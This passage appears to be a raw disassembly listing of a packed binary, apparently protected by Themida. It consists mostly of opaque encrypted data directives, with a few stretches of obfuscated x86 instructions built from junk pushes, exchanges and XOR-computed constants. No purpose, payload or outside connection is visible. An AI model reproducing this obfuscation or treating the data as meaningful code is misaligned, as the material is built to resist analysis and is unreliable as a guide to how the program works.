0DEBFCF7Eh, 62D9h, 6E5BEB00h, 0C534218Fh dd 50E18502h, 96479BD3h, 31C06625h, 921C93BDh, 5FA411B5h dd 929A450Bh, 665811B5h, 0B82C85D9h, 0D46C5B0Fh, 5DD74ED1h dd 2BB1648h, 29F03448h, 0A25317BAh, 0B592E58Ah, 0D3085D11h dd 0FF7E24E1h, 92DA557Bh, 0DC8D11B5h, 7FD85EE9h, 97AAE1D2h dd 0C855BB7Fh, 0BC7A54h, 5B440000h, 0D29BD362h, 0E8025DEh dd 1FB1FD71h, 0FF09ABFh, 0D97BD001h, 0E65B6475h, 4DCA57F4h dd 0B24D4019h, 51ECDF2Ah, 0A35C5019h, 7B69772Fh, 0BF17FB5Fh dd 10E9BD50h, 9EBBEFA0h, 0C2067DCAh, 40963A98h, 6587DA3Dh dd 9732A560h, 0CF7E5F15h, 91374B8Fh, 17FB59CEh, 436DE172h dd 163F842Ah, 441D4192h, 19F0B651h, 0B05141A8h, 98CE4BEAh dd 6F33CEC1h, 8A4558D8h, 233771Ch, 2F368E85h, 5F1FAE6Fh dd 8BAB0479h, 1A8A531Ch, 5A00C131h, 35F55EDBh, 0C4B8EB66h dd 76A334BAh, 38079DC9h, 96597F4Eh, 2A249393h, 18875CD9h dd 83003175h, 24944519h, 7818A647h, 0C04DC7A7h, 625B784Ah dd 3479BD3h, 0B591C2ADh, 3EAD7E11h, 0A6880E8Bh, 0FF9BC47h dd 61386EF7h, 5F4F1E6Eh, 5379F8AEh, 1801B88Ch, 6822AF34h dd 3CB24F41h, 0AC1BC2A2h, 3EB44519h, 1549F4E7h, 1740094Bh dd 37E6BEA2h, 1F6307C6h, 7F42B6B9h, 7CF90A92h, 35154F6h dd 4206E9CFh, 29BA927Fh, 0CE796CA5h, 6D188B5Eh, 86716039h dd 0B2E87516h, 6FAAB335h, 8E5BC17Ch, 9C3A601Bh, 3, 0C0716FE6h dd 8F663CD3h, 643D611Ch, 378ED473h, 8B6238C5h, 5B32681Dh dd 2B82D86Dh, 0FC5509BCh, 4E277B0Ch, 76FDA15Ah, 52E08950h dd 4BAh, 5AD00100h, 8704E883h, 685C2404h, 44C1h, 68241489h dd 1727h, 55243C89h, 7E563A68h, 0EDC15D75h, 97B95107h dd 4930BC7Ah, 0AC9BF181h, 0CD29CA22h, 5DEA8959h, 243C8B54h dd 5004C483h, 8BD55h, 0E8890000h, 89F8015Dh, 34FF5810h dd 0C4815F24h, 4, 5A2434FFh, 0E904C483h, 0FFF951F1h, 664787CFh dd 3EDA0068h, 2B7DB884h, 0C503064Ch, 88E1E0FFh, 0AD912666h dd 7D311661h, 88A479CEh, 0FF5A49E5h, 5C5B563Dh, 0A1CB1763h dd 9B215AF2h, 3BC74722h, 0F0DE6A2Ch, 0FAE94C3Bh, 36626845h dd 140B5EB9h, 4A3001FEh, 80497ADFh, 0A7E1E14h, 0A251227Ah dd 0EE81FD8h, 69000000h, 0D288DC09h, 0D69A19C9h, 9DF4E3B2h dd 18D0FAAh, 0FC000000h, 890F5158h, 6, 0FDA5E281h, 815F1590h dd 6FF0C0h, 3820F00h, 66000000h, 0B9D78Bh, 60000000h, 617FDA80h dd 0F5081C8Bh, 98C1EB81h, 81F86E84h, 1810CCC3h, 0F6BF0F4Ah dd 0D7CAEB81h, 6E84634h, 0F1000000h, 0C89D328Eh, 6E984h dd 1F8D0000h, 744D0CDDh, 0A7BA535Ah, 8F004DD9h, 0FB60804h dd 48D0Fh, 0B2500000h, 0E9835A7Bh, 8DE5BF04h, 0F98119EEh dd 0FFFF90F0h, 22850Fh, 81600000h, 5D66FFDFh, 61F88B60h dd 3EE9h, 2320BB00h, 0E16C8417h, 91B71BD5h, 24D77DCFh dd 0BDFE9F41h, 15890Fh, 10E90000h, 0DC000000h, 0BA7C4062h dd 997DF1AEh, 9ABE0BE0h, 0E93972F5h, 0FFFFFF64h, 5D145A4Fh dd 3C6A2592h, 0EBD72FBDh, 4A4A8B04h, 52DE95Bh, 6F30000h dd 980CDD4Fh, 3CAC7DEFh, 0D9C8118Bh, 7563B636h, 0F28A4CD0h dd 8D1FB422h, 2FBD4ABCh, 0C25AE9DAh, 63F98477h, 1DC2E426h dd 0A51801BEh, 84557C54h, 0D2C7215h, 9E763AA4h, 0B00680AEh dd 87DB6659h, 910BC02Eh, 0E0AA5548h, 0B43AC739h, 3A9205DCh dd 0B671DB84h, 452A8C11h, 0FD11B671h, 3BB8CD68h, 611A8E67h dd 3E8C0029h, 0B671D798h, 9D1A6B11h, 459B4119h, 77128540h dd 22CDE327h, 9E11B671h, 6F4FC155h, 8F4DD9C2h, 0D3279CCDh dd 62FA897Ah, 0C3672697h, 97CB786Ah, 940A4ED0h, 11B59BCBh dd 0FA68EE77h, 8B728E3h, 64299746h, 25BB3F3Eh, 8E7EE1D4h dd 0DFD0A9FDh, 26A320h, 0B59D845Eh, 5154E411h, 7AB29D09h dd 0B123CAD8h, 3CDE9E14h, 0EC000000h, 6C32CDC0h, 0B5936F62h dd 3E471111h, 7AA88A1Ch, 1D5D8h, 0C0E70000h, 966F33CCh dd 6CC59922h, 4E94CA7Dh, 0E6DA1528h, 0B2E89105h, 258FABA7h dd 49D6A0DCh, 168950CCh, 0C0C3F16Bh, 0E65819D2h, 0F750F3E2h dd 5CC5DA2Fh, 5AF8FEE8h, 7135B2B2h, 90FB200Dh, 6A2B90D5h dd 0B92DE4h, 667F895Ah, 0DFD03DABh, 0C2EBA320h, 21BF33D0h dd 9A2D9C4Dh, 0CC8C35C4h, 421D3C48h, 178A43D7h, 6F5F366Ch dd 79A188DEh, 0E17758CCh, 0B67E20CFh, 0F253A011h, 179B5089h dd 0AC2A7075h, 0F7D87AD7h, 67h, 3DD2C0C5h, 6F209069h, 0A58E7E2Fh dd 2FCE9435h, 0C059FCA2h, 252AB682h, 99F145C2h, 0DD182DB3h dd 77C25AEFh, 0C79EC489h, 32711D8h, 462D6CDDh, 3994B1F9h dd 6E1CBFECh, 0C12860F6h, 7A1C3E47h, 25D87B7Dh, 42h, 3DD2C097h dd 60540569h, 0FC7283A7h, 8531B425h, 0DB13B87h, 4BA0C643h dd 7B69A4B9h, 0C06856D6h, 616F33CCh, 11B59371h, 0E3874AB9h dd 0B3F79C0Ah, 0DA3D40D0h, 0D08A93ADh, 0D87AA8D6h, 181h dd 0D0C03300h, 1F926B3Fh, 47F2A64h, 0D379CA98h, 289FF77Bh dd 6A5A95A8h, 0AC711081h, 9A028F38h, 0E4A113DAh, 0BC32CB3Fh dd 2C6EDFFEh, 0F0D7A08Ah, 99CD160Fh, 0AA32CDC0h, 0D9F56C5Fh dd 9C0917FDh, 0FCC066E3h, 0CC4A51h, 90E6AF0Eh, 0FB64934Eh dd 0CA93DF17h, 3BA92DD6h, 49F4E722h, 0E89306D3h, 5DE8DBB2h dd 833CB009h, 0F59606DFh, 3035ABB1h, 0DBE272ADh, 8A12AD20h dd 0C079C620h, 0DDCC9DDEh, 9608742Ah, 17FB56C9h, 0EB6FEC79h dd 13EABh, 625B1900h, 0A4EF6AF7h, 0CB48106Ch, 0FADD2D83h dd 0A5B0FF0h, 7F0AFD54h, 1EA91CEDh, 43FEF148h, 2E624C1Fh dd 0FAF4E788h, 840A5B17h, 0D1C4FF06h, 0EAFCB636h, 0B5DEC00Bh dd 57h, 0D76E5B07h, 918E2187h, 0A13211B5h, 910CD3FDh, 0C8411B5h dd 8D6CA5F9h, 3B3A6019h, 6B8FCBEh, 11B59159h, 0FCD29CE9h dd 11B591F3h, 0CCB0064Fh, 0B59255EAh, 0D698ED11h, 0B1F59807h dd 92846B4Dh, 0B73C11B5h, 202AA42Ah, 0B7h, 0F9E6D81Ch dd 4911B592h, 5BB4B63Ch, 259BD362h, 0FF09AA9h, 5906B8FCh dd 0E917FA98h, 6C41169Ch, 9998CE79h, 0FCEF461Ch, 9B0EDB41h dd 0DB76BAE0h, 0FD5D5E9Bh, 7D43D784h, 17FB8C67h, 0D2883DABh dd 0A2F88D7Bh, 67FA0385h, 0BE2FFEC0h, 4198B0Fh, 7F0FD6C9h dd 0B59516Ah, 4CF3820Fh, 31BEF5E6h, 0CD4AFDECh, 5B4115Fh dd 27143175h, 0C2BAA9EDh, 0E990BE34h, 0A6163F5Ah, 204607F7h dd 0A93A9D11h, 640BADE1h, 0A21E4774h, 0A431942Fh, 2C9F762Eh dd 849ACD91h, 74816E40h, 79C11E47h, 47749847h, 5EDB281Eh dd 0E3771A89h, 833A5C61h, 0B3467832h, 31C8B87h, 5B746AF2h dd 321B8B62h, 78401C2h, 0A4A85177h, 0A0C0FF9h, 1BECB94h dd 61EE7718h, 0D671643Dh, 75108356h, 20CFE125h, 0A01801BEh dd 0BAA51B53h, 61801BEh, 0DD2179FDh, 65E99E0Ch, 16B25Bh dd 0C78074BBh, 0FADCCAA3h, 8361BC4h, 0D15EA775h, 839ADA8Dh dd 233AB810h, 0D24AF5E8h, 74D9CB92h, 0F347C483h, 461CA71Ah dd 8144B37Ah, 7FD65CDDh, 3EA9FD90h, 71649FA6h, 6E4084D6h dd 75083681h, 816FB4C1h, 136796CCh, 0D639AC7Dh, 11FF24E7h dd 2DABFF7Ch, 3, 0C0716F17h, 8F663CD3h, 643D611Ch, 378ED473h dd 8B6238C5h, 5B32681Dh, 2B82D86Dh, 0FC5509BCh, 4E277B0Ch dd 76FDA15Ah, 52E38953h, 0C1350DBAh, 0F6C28104h, 4A06597Eh dd 7CD7E281h, 0EA817C98h, 81833FEh, 835AD301h, 1C8704EBh dd 1F685C24h, 89000024h, 682404h, 8900003Ah, 68532414h dd 337973ADh, 0F381435Bh, 6ABE7442h, 2ADFF381h, 0D8895F8Bh dd 81241C8Bh, 4C4h, 4EC8300h, 83242489h, 5A042404h, 8BB53h dd 0C3810000h, 15514BD5h, 0EB81D301h, 15514BD5h, 8B5B0389h dd 89532414h, 4C381E3h, 83000000h, 1C8704C3h, 48B5C24h dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 4B7BE95Ch dd 0B885FFF9h, 64C31BDh, 0E0FFC503h, 6AD944D3h, 533017C5h dd 3A35670Fh, 4CA79D9Bh, 77B95D77h, 483397A9h, 59DF54C0h dd 19B0760Fh, 51D06A6Ch, 5F8E3FC2h, 5D7BF4CBh, 4B87B40Eh dd 5F2B15B6h, 6F0B0992h, 471B5FF0h, 7A716A63h, 53D87EFCh dd 8EBh, 24640000h, 9DE9101Eh, 68000004h, 64C33E2h, 0F94B14E9h dd 344468FFh, 0AE9064Ch, 68FFF94Bh, 64C3584h, 0F94B00E9h dd 0E6AD1AFFh, 863FB386h, 22E3D326h, 0CD806FBAh, 771C8A5Fh dd 494B53F5h, 0E336B65Bh, 1C854F1h, 9E6BF190h, 8D0C902Bh dd 0C3C4AB0Dh, 0F37C1801h, 3DD2C0D5h, 621D9069h, 0A011B4FAh dd 9D62C8EEh, 8FD40FF0h, 97DEF5DBh, 4AB417FAh, 95CF9036h dd 269817FAh, 17FA9539h, 8CD97C89h, 0D9818406h, 0DEBFACCDh dd 22E3D39Ah, 2C7ECACh, 55DE0000h, 91B0BF11h, 0C31011B5h dd 5BDE2C4Fh, 0D29BD362h, 23CCE2E4h, 9F11B591h, 1945C956h dd 0F089D3A7h, 3910650Fh, 1613B713h, 8756EA1Bh, 97587419h dd 2B15600Fh, 2C721182h, 9D27800Dh, 0BD0C33E3h, 0EB2290E6h dd 30BE105Ah, 65139AC4h, 544A40B4h, 1BA4C68Bh, 7D21AE37h dd 99631A4h, 9F93285h, 55A7FB78h, 57279970h, 0A4C66E71h dd 481D21Bh, 1852DF5Eh, 0DFDEB2A6h, 8BC31019h, 8E5177h dd 0A13221EAh, 45B8612Dh, 0E4D722BAh, 80907959h, 4FDB74D4h dd 2B909h, 1EB52200h, 0BE47BB8Eh, 5AEBDB2Eh, 0C58877C2h dd 6F249267h, 51435BFDh, 0EB3EAE63h, 9D04CF9h, 0A673E998h dd 75148833h, 0C4CC9335h, 0EB741801h, 0D3625B2Dh, 0AFDF259Bh dd 85D0FF9h, 64299746h, 1F5A4F8h, 0AD1BF278h, 0EBBF5040h dd 3799CD4Ah, 1801C51Dh, 7353EEE1h, 6AEC43B0h, 57094FDBh dd 84000002h, 1DEC7017h, 0BD8C10A9h, 0D920BC4Dh dd 74C527EAh, 0F95BC186h, 0C533E1h, 0AE5B4D9Ch, 4BFAEB3Eh dd 0EA9508D1h, 31971772h, 1801C52Eh, 5B434592h, 0D29BD362h dd 0EDD125DEh, 0F9AFC9CBh, 0BCE2730Fh, 433FD570h, 15BE5341h dd 95193DBFh, 1DE984Bh, 4B52CE18h, 0C6EF970Fh, 16BC0DEh dd 0C0F20000h, 956C32CDh, 93D76722h, 0B591323Dh, 0F1458E11h dd 5DB4115Fh, 6889DD6Ch, 7FAA3EBh, 8317267Ch, 0E0D29BDFh dd 29FE7F23h, 0BC8208B9h, 0FF0A246h, 0E982E1Bh, 51D6C334h dd 0E46A1D8Ch, 725C0253h, 17FB1B61h, 46142937h, 0DEC02C60h dd 203Bh, 625B8900h, 0F1259BD3h, 4F0FF09Dh, 657E6006h dd 3B17FA97h, 6442182Dh, 3FDEBFACh, 0C1h, 6ACDC08Dh, 184ECB78h dd 0E8BE5341h, 0BFE39E11h, 0D448F3E6h, 0B59EC3F2h, 9BB59011h dd 0ABD35106h, 0FDF029ADh, 6E46298Fh, 69FA11B6h, 58245B4h dd 0A216C7A7h, 3EB44519h, 0A6E8597Ch, 204607F7h, 0CE231035h dd 4ECB9321h, 82284C8h, 0AE0FFDF9h, 0D40BFE01h, 7DFAB91Ah dd 917E6C3Dh, 87E5621Fh, 0A78F44B2h, 6AE8E102h, 17471199h dd 44000001h, 0DD2CB057h, 7DCC50E9h, 9960FC8Dh, 3405672Ah dd 399B01C6h, 4005F3A1h, 0EE9B0DDCh, 8B3AAB7Eh, 2AD5C811h dd 7157D7B2h, 1801C66Eh, 558385D2h, 91B0BF11h, 7C6E11B5h dd 3B9A9BCFh, 0F845FEF2h, 982D9B72h, 0F79607D6h, 920C82B3h dd 33A95447h, 32CDC00Dh, 6722956Ch, 0DF6EAF05h, 0C34E399Fh dd 61F20FF0h, 0FD920029h, 0E1766D6Fh, 49BC17FAh, 9F4E2EBEh dd 0C0199D30h, 0D47565D2h, 93451357h, 0F1000000h, 8317B828h dd 0F7625BA1h, 6D2032EEh, 0B0FA4702h, 847D4695h, 1D913363h dd 5C4C1D51h, 71927ABh, 560FFA54h, 32681587h, 0DB288F03h dd 4167BB87h, 1802689Eh, 845DD122h, 23F67611h, 6D5115B0h dd 0E8BE49BCh, 2E9E849h, 293B53E7h, 0D88A9BA5h, 673F0633h dd 0EFF329CAh, 4CC247E8h, 990CC7DEh, 133E7EEEh, 9D251FB3h dd 4A8317C2h, 1FF6AC57h, 0F0491DB0h, 441D41FEh, 96EDB156h dd 0D9EC6F76h, 584B869Fh, 0F7EA3FADh, 340164Ch, 82000000h dd 0D3C0716Fh, 1C8F663Ch, 73643D61h, 0C5378ED4h, 1D8B6238h dd 6D5B3268h, 0BC2B82D8h, 0CFC5509h, 5A4E277Bh db 0A1h, 0FDh, 76h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 sub ebp, esi pop esi xchg ebp, [esp] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi push ebp push edi mov edi, 48651941h mov ebp, 3730019Fh xor ebp, edi pop edi mov ecx, 79192A04h xor ecx, ebp pop ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi sub esp, 4 mov [esp], ecx pop dword ptr [esi+8] mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_545D4D ; --------------------------------------------------------------------------- dd 7A6978EFh, 4C36C0B8h, 0FFC50306h, 0A24FE7E0h, 0C778F602h dd 42EBB06Ch, 0D0F5BC5Ch, 167F920Bh, 7E01AE08h, 0D1DA5938h dd 84BE1A37h, 5DA0E700h, 0E5CB4547h, 2AD13939h, 64773324h dd 9DD22053h, 0CE32AB00h, 6FE2B877h, 0A8ED8C43h, 0FCB5E83Dh dd 9738C916h, 3E63977Ch, 42B52B36h, 4159835Ah, 0DDB75545h dd 57FCE42Fh, 6C741171h, 74408C20h, 0E7CE932Bh, 47DDCF31h dd 7A094F06h, 21DB1D70h, 48C2B270h, 0EDE903h db 2 dup(0) word_5B1752 dw 6660h ; DATA XREF: Themida_:0053F33Co dd 4A8D88Ch, 0DF840Fh, 0B58B0000h, 6451E91h, 0F00FE83h dd 2285h, 2985C600h, 45064518h, 72696968h, 85B5FF8Eh, 8D064509h dd 4878B685h, 89D0FF06h, 45011D85h, 80F08B06h, 850FE93Eh dd 31h, 85FD858Dh, 0D0FF064Ah, 12E5BD8Bh, 0C7810645h, 1184h dd 1E91B58Bh, 0F7870645h, 8B9h, 8BA4F300h, 451E91B5h, 91858D06h dd 0FF06492Ch, 0A5B58BD0h, 83064500h, 850F00FEh, 22h, 182985C6h dd 68540645h, 0FF4EBEF4h, 985B5FFh, 858D0645h, 64878B6h dd 8589D0FFh, 64500A5h, 3E80F08Bh, 3A850FE9h, 8B000000h dd 4500A5B5h, 0FD858D06h, 0FF064A85h, 0E5BD8BD0h, 81064512h dd 1184C7h, 8C78300h, 0A5B58Bh, 0F7870645h, 8B9h, 8BA4F300h dd 4500A5B5h, 91858D06h, 0FF06492Ch, 8DC361D0h, 4C37DF85h dd 0C9858906h, 8D064513h, 4C39808Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 89F9A3B4h dd 451C8D95h, 0C7BF0F06h, 2A018D89h, 9D890645h, 6451599h dd 3D585C7h, 58C80645h, 0EE90000h, 63000000h, 0EE24AEF7h dd 0AA22FFD2h, 6215780Bh, 0E99D8BBFh, 0C7064509h, 45095D85h dd 6, 0CB816600h, 0B5FF9FD9h, 64510ADh, 0E5958B60h, 6606450Bh dd 361DE8Bh, 45328585h, 1195FF06h, 0F06452Ah, 138Ch, 0EE900h dd 0FCFC0000h, 0CB049E01h, 628B5578h, 5AC534E5h, 95FF006Ah dd 6453121h, 5CEBC08Bh, 0F2FF2212h, 0C913DCFAh, 2214C18h dd 8BC744F9h, 43798A74h, 6E0E130Bh, 0D4DC7E6h, 0DA282172h dd 200BF2D6h, 0B049EA53h, 0C6B1BA9h, 5B59703h, 0A68B4967h dd 0B98452F3h, 6EE6578Dh, 0BC00FA4Eh, 979DFBC2h, 0CE52EDDFh dd 0A59968E5h, 625DE451h, 0C37C37F7h, 0DE08314Dh, 34493664h dd 9BD504EBh, 33E90F52h, 6800000Dh, 64C3BA7h, 0F943E4E9h dd 3CB168FFh, 0DAE9064Ch, 68FFF943h, 64C3EC7h, 0F943D0E9h dd 3FE668FFh, 0C6E9064Ch, 68FFF943h, 64C42D5h, 0F943BCE9h dd 444168FFh, 0B2E9064Ch, 68FFF943h, 64C4558h, 0F943A8E9h dd 4E05F2FFh, 0EE970BDEh, 8A3BAB7Eh, 35D8C712h, 0DF7462B7h dd 21F38B4Dh, 0BB8E1EB3h, 0D920BC49h, 76C359E8h, 2564F883h dd 0CB1CC3E5h, 5BA41801h, 1684557Dh, 0B124FD71h, 2EAB604Eh dd 0BA4FBD6Ch, 0E0990DE4h, 0B83EBBBAh, 0EB9609E0h, 5EEDDEB7h dd 0F9E6D81Ch, 4911B591h, 90D67164h, 366EE461h, 662E37B1h dd 0D69000CBh, 6CB199D7h, 6697CB7Ch, 63C63910h, 9C10D570h dd 31BEBFE3h, 0DB705EABh, 0B705F841h, 0EB92E59Ah, 0C6F675FCh dd 11B59D19h, 0F19604A9h, 0DAB3F774h, 0F59204E7h, 990380B1h dd 0B43F2CBh, 0F0AE5D95h, 0D48ADB0Fh, 0FAD0D98Ah, 0B4F8F17h dd 0FACECA95h, 44ED7617h, 0BBAF29E9h, 2FBD319Eh, 8E624416h dd 343DDEC0h, 0F1000000h, 0E1C7B528h, 17FB73FEh, 0EEB43142h dd 5BF9CB4Fh, 479BD362h, 15992296h, 0F09DDBCBh, 4A10650Fh dd 0FA974F04h, 21B0517h, 0BFAC4E58h, 0C109DEh, 0C0BB0000h dd 0C97A6ACDh, 51BF164Ch, 18BEF2BCh, 11B59157h, 0C1642595h dd 8F663EB4h, 643D611Ch, 7456D671h, 11B59E40h, 0F4FBDD11h dd 4C11B596h, 675AB307h, 6F940DCh, 0F0D5277Bh, 96452A8Ch dd 68FD11B5h, 590DA3EBh, 0C0FF095h, 0B8742221h, 49CD6727h dd 0A90765EEh, 3B9DDD6Ch, 1643049Ch, 0CE9FDF24h, 68B12BE0h dd 0CEDD57Ah, 7F712DA4h, 0AC2AD2Bh, 7A670000h, 0C8049D3h dd 0B020E973h, 4DBC8D1Fh, 0E9D722BAh, 7E06B824h, 0F9632896h dd 9B01BE30h, 3EAE5D4Eh, 0DF4DF8EBh, 915E70BAh, 311801CCh dd 0D2C0E0A0h, 9111DEF0h, 0DCCF11B5h, 59FC7D21h, 1ECF8F0Ch dd 0A8491DAEh, 6A5DAC22h, 5B174DDFh, 6D188B62h, 436AAEE0h dd 0D49BB154h, 6C11B591h, 892F93E7h, 0FF09E9Dh, 0A08CD223h dd 0FF192185h, 0DD518EBBh, 0FB87E0F3h, 93AAB617h, 0C09CDFC7h dd 8999B4DEh, 0E7564F37h, 0C026961Ch, 94000000h, 7832CDC0h dd 0D8140B1h, 4D406955h, 0F7E53CB2h, 72420C52h, 0B611B59Eh dd 0ED899C43h, 0B314B123h, 0ED6AC098h, 8C37AA7Fh, 0F1DF8EC2h dd 116F705Ch, 82D311B6h, 0A766540Ch, 74624416h, 0CA0FF110h dd 248D5274h, 0F83517FBh, 7FFC7906h, 0B70687EDh, 0C277C1E7h dd 0E0CD1642h, 0E99206F1h, 0BA0784B5h, 0DBBB29F0h, 42D6FAE5h dd 0B03D461Eh, 5AEFDD2Ch, 2D5BD778h, 0C2941471h, 9B8h dd 5FCD8471h, 0FF6D168Ah, 9309BA2Ah, 28B45746h, 0CE5EF3E1h dd 32A0740Ch, 0C83A0F9Dh, 6758A13Bh, 2F544D8h, 7AA4E547h dd 1CD9B44h, 0FEDA2718h, 0AF3DD2C0h, 1BB01ECFh, 0B04BBE97h dd 0EBF2FFEh, 0C0281688h, 956C32CDh, 6B74AA22h, 0D711B591h dd 0A66B598Eh, 0BAF47180h, 0E4005F3h, 0B591C7A8h, 64EA7B11h dd 92FBE8EAh, 0CEC111B5h, 6D60A933h, 0C2358CD2h, 9D337707h dd 11B591D2h, 0E9F6286Eh, 5911B591h, 530B8F0Ch, 375D60F0h dd 95C97266h, 0C437EE64h, 0DDC9A339h, 86D87AA8h, 0B5h dd 0D3625B34h, 25DED29Bh, 0B3CBEDD1h, 0D0FF0A0h, 273CA2F8h dd 7D17FAC4h, 0C6E2103Dh, 0F9FA0F1Eh, 8CCED775h, 0DEBFB01Ah dd 8845h, 0D3F50900h, 17FA950Ch, 99AB2FB4h, 0B5931B37h dd 39A77611h, 91786759h, 0BBC811B5h, 4BF6E93Eh, 0D93095C7h dd 9DDD5AE7h, 0AF1D9059h, 0B5916609h, 0C89DA11h, 9FC6B886h dd 0EB780FF0h, 953AA871h, 0C32AE3D1h, 0E1A936CFh, 35A85FCFh dd 6F630A16h, 36F740D6h, 0F48603C8h, 5317B225h, 67B22CA2h dd 0A193D776h, 0D485D564h, 0FD7C22E5h, 0BB933579h, 51C7ADEh dd 0D626CF0h, 0D2000005h, 0E037389Eh, 6F52484h, 1F93E043h dd 0D3625B2Dh, 9835259Bh, 0D4680FF0h, 0FA9AEDF2h, 0ABB2B17h dd 0F57EA554h, 9A5C03A5h, 9FE417FAh, 7337BC1Bh, 0AD5CB0Fh dd 0B617FA9Ah, 0CC87A92Dh, 8217FA9Ch, 8D17F86h, 8243B394h dd 5AD06105h, 0BFAD8A1Ch, 4B6D5DEh, 7AE70000h, 0C83BE28Bh dd 42C8693Dh, 4A04B510h, 0F089A654h, 0ECC3100Fh, 5E0BFBA2h dd 0B6B627BAh, 9DC14EA7h, 0FCC8169Ch, 5571B5BEh, 88EA48F8h dd 149AB252h, 1E8E67A6h, 8AEE06Dh, 0BFFB3036h, 0D5277B88h dd 600941F0h, 9A09DE71h, 993F63F7h, 0C64D8B84h, 8800F338h dd 4DAB4916h, 0EF6CF9CEh, 0C5942862h, 68A135D4h, 8752CA75h dd 0C496914h, 0CF213831h, 7A21DBBh, 9A070000h, 2CA069F3h dd 0D0C00993h, 6D5CAD3Fh, 9F742DAh, 5E66D844h, 198348B6h dd 0BB21DED0h, 5ECE7D6Eh, 0FF6D188Bh, 0B1BE109Ah, 111801CFh dd 8455C0C0h, 3FB17611h, 0D95DDC82h, 0ACF28D00h, 0BCFE4F4Eh dd 0F0B1641Ah, 2CFD310Fh, 3D220ABDh, 8517FAB1h, 85DFA70h dd 67269746h, 4C33405h, 0DCF9DF4Ah, 0C56E178Bh, 0B7697ECAh dd 17FB82A8h, 0C84ECB18h, 8221CE90h, 3B2817FBh, 1417FB74h dd 14355E39h, 0E5D7FB25h, 76F30258h, 0AA1BB2E0h, 730CEE0h dd 458E1637h, 7A4BF21h, 7C6A1E41h, 0C83A93D7h, 1E8E673Bh dd 0D38396Dh, 6A2FB2CBh, 33B3E7FEh, 6CE5061Ch, 41h, 1684555Eh dd 725E7C55h, 4DCA6D3Ah, 0DB328BC9h, 0D19D7EEBh, 1A4F4853h dd 8F5E109Dh, 0A7EB6F1Eh, 0F152B901h, 7EB9940Fh, 57A134A1h dd 5358FF73h, 23FAA065h, 0A15016AFh, 0D583A724h, 16h, 0D3625B3Fh dd 2896479Bh, 19C1EF63h, 9F0FF0BFh, 6FEC9F0Eh, 0CDC0893Bh dd 16CB1032h, 0E82064A0h dd 683EEh, 12B92600h, 0B24BBF8Ah, 5EEFDF2Ah, 0F98C7BCEh dd 63289663h, 553F47F9h, 0EF3AA267h, 0DDC40FDh, 0AA7FED9Ch dd 79108C37h, 0D0D09F31h, 0E7701801h, 0D3625B21h, 860D259Bh dd 5AAB0FF0h, 0F5FADC10h, 4D17FA9Eh, 3DAB238h, 5577F590h dd 0F543E4FDh, 0A107735Eh, 3F45D9BEh, 0B82CF102h, 5DDA5B0Fh dd 0AF584C1Dh, 5AF47AFBh, 4E00B114h, 81078268h, 0FBAF343Dh dd 9715AE22h, 0D4DFCD9h, 0C604D3ABh, 42186D43h, 0D004471Ch dd 0FA031D4Bh, 951546A0h, 1181112h, 55A30000h, 55F29BF8h dd 9D112437h, 0F4FFEDFh, 0F20D922h, 1253E37Dh, 0C747E05Bh dd 7868BD1Bh, 0EC6293D7h, 4CBD6CA0h, 9348E9BDh, 3C3D6124h dd 0D39AA8B6h, 0D71C0FF0h, 3CC73A93h, 0DB6659A0h, 3189D987h dd 0BC22F544h, 0C07B6EA9h, 5F51185Ch, 25A6496Fh, 0C91A3F46h dd 93E7164Ch, 0E6BC47BAh, 8F6C6AF8h, 1045C1Ch, 0B428D3C6h dd 93D77265h, 710AFEAFh, 0D4860C2Dh, 0F13545FCh, 8016B928h dd 9160D1BEh, 4EBC7166h, 0C2A03CB9h, 81595ECBh, 6B759117h dd 0B668ACEEh, 669174A9h, 6DC87567h, 882E9218h, 64CC8056h dd 0FBC79BE8h, 0E1A38AA7h, 7EA77469h, 0D5A2915Eh, 2EA4316Ch dd 0E37904F7h, 4218A316h, 0D5A26B1Ch, 963BA96Ch, 0A18879D0h dd 4F139031h, 0C6596CFCh, 0B57075CFh, 23258742h, 0F901BADAh dd 0FCEB0A87h, 67E41549h, 6C13405h, 85217E60h, 4EAC5F71h dd 5A09FC37h, 878039CCh, 6CF07DDEh, 0CB9F2A9Dh, 0DD9D2CE9h dd 0ABE697FBh, 48D42165h, 4D7Eh, 625B4000h, 95259BD3h dd 230FF099h, 32681B8Ah, 8A554B03h, 3617FA99h, 0A37A20ADh dd 5616962Fh, 0C96A1387h, 0C014843Eh, 3B9E141Fh, 0A56DF0C4h dd 45F7521Ch, 0FF3DFB41h, 0B91F43D7h, 17FAF5BEh, 0C02EF102h dd 0F5452A8Ch, 68FD17FAh, 0CDC0C0E2h, 3FB17832h, 0DC920C82h dd 0C20648F9h, 0B59203ECh, 0F136BF11h, 1B1A4001h, 0FDF52B97h dd 0BB0FF0B4h, 2960E30Eh, 58A5E34Bh, 93564716h, 640550D3h dd 8B119E63h, 0FCBE4DBEh, 0E831F251h, 0EFDFC2ADh, 6CE9085Eh dd 494CAEE6h, 0DB9BB6F8h, 9E051DE8h, 81276BEFh, 163695EDh dd 725C0253h, 1E408761h, 6628993Ch, 7BAEAE40h, 8BC3101Ch dd 0E54EFE2h, 6609AFEFh, 0DA2485ACh, 34D0589h, 2485AE50h dd 4C80C406h, 85AC856Ah, 84A83D24h, 2485ACDBh, 0A981E67h dd 0C33FA7F3h, 3618EB4Ah, 0AA000000h, 188B625Bh, 91610EA0h dd 94E111B5h, 25A25317h, 0F0FFD115h, 5011B591h, 0EDC38F03h dd 0FF09A5Dh, 20E3D2DBh, 5984DF7Ah, 0EE68064Ah, 18BEE461h dd 11h, 8B625B7Ah, 0A3EB681Dh, 0F0BF5D0Dh, 0D48ADB0Fh dd 32CDC096h, 0A016D110h, 0F8DE2A64h, 394h, 7BE1A815h dd 1B813AAEh, 0BF2DDECEh, 54C87B6Ah, 0EA721785h, 56445068h dd 0ECDE2BB1h, 8B7CCD5Fh, 269960FCh, 688019Bh, 1D3BFA0h dd 0D2F60318h, 6C32CDC0h, 5672295h, 13876EAFh, 0BADED6Ah dd 0FF0A1F7h, 